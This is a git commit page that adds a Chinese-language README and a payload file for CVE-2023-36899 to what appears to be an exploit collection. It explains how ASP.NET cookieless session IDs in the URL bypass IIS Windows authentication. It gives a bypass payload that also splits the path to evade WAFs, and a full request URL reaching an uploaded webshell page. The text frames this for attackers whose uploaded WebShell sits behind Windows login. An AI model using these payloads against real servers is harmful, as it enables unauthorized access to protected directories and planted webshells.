add CVE-2023-36899 IIS Identity authentication bypass vulnerability
This commit is contained in:
parent
b9f83c4750
commit
1ecafa1854
35
00-CVE_EXP/CVE-2023-36899/README.md
Normal file
35
00-CVE_EXP/CVE-2023-36899/README.md
Normal file
@ -0,0 +1,35 @@
|
||||
|
||||
|
||||
# CVE-2023-36899.NET 身份绕过 IIS 认证
|
||||
|
||||
默认情况下.NET 会话产生的 SessionID 一般位于 HTTP 报文请求或者响应的 Cookie 字段,
|
||||
命名方式如下
|
||||
`Cookie:ASP.NET_SessionId=uxfzmc552rdiwh45ja2t3vud;`
|
||||
|
||||
如果不想用上述的 Cookie 存储方式也可以改成 Cookie 不带 SessionID 这样的会话,只需要在 web.config 配置<SessionState>节点属性 cookieless 属性为 true,这样.NET 将会话 ID 随着 HTTP 请求附加到 URL 地址上。配置清单如下
|
||||
```xml
|
||||
<system.web>
|
||||
<sessionState cookieless="true"/>
|
||||
</system.web>
|
||||
```
|
||||
这样配置后 Cookie 作为 URL 地址的一部分,会话 SessionID 值都以明文的形式发送显然
|
||||
是不安全的。如下图
|
||||
但是在早期基于.NET Framwork 版本的应用中大量存在这样的场景,然而这种特性也会存
|
||||
在绕过 IIS 身份验证的风险。以下通过实验演示绕过 IIS 身份验证的漏洞场景。
|
||||
在 IIS 项目中 Windows 身份验证是一种强大且广泛使用的身份验证方法,需要匿名访问的
|
||||
用户输入正确的 Windows 本地帐户登录后才能访问该 Web 应用。配置 Windows 身份验证
|
||||
步骤如下:
|
||||
1. 启用 Windows 身份验证安全功能
|
||||
2. 打开 IIS10 选择 Uploads 目录后进入身份验证模块,启用 Windows 身份验证
|
||||
配置完成后访问 /(S(mwdwx5uhl2yqliv2w45c5cla))/uploads/dynamicCompilerSpy.aspx
|
||||
弹出授权登录对话框如下图
|
||||
遇到这种需要本地 Windows 账户登录才能访问,一般攻击在打点时遇到这样 WebShell 上
|
||||
传后的场景还是比较常见的,以前可能就放弃或者找其他的解决办法,现在可以用 URL 会
|
||||
话 ID 的方式绕过,
|
||||
3. 常用的 Bypass Payload 如下
|
||||
`(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/
|
||||
`
|
||||
|
||||
输入两次会话 ID,并且拆解了 uploads 目录,这对绕过 WAF 等安全防护也是有用的。请求
|
||||
`http://192.168.101.77/(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/dynamicCompilerSpy.aspx`
|
||||
后成功绕过 Windows 身份认证
|
1
00-CVE_EXP/CVE-2023-36899/payload
Normal file
1
00-CVE_EXP/CVE-2023-36899/payload
Normal file
@ -0,0 +1 @@
|
||||
http://192.168.101.77/(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/dynamicCompilerSpy.aspx
|
Loading…
x
Reference in New Issue
Block a user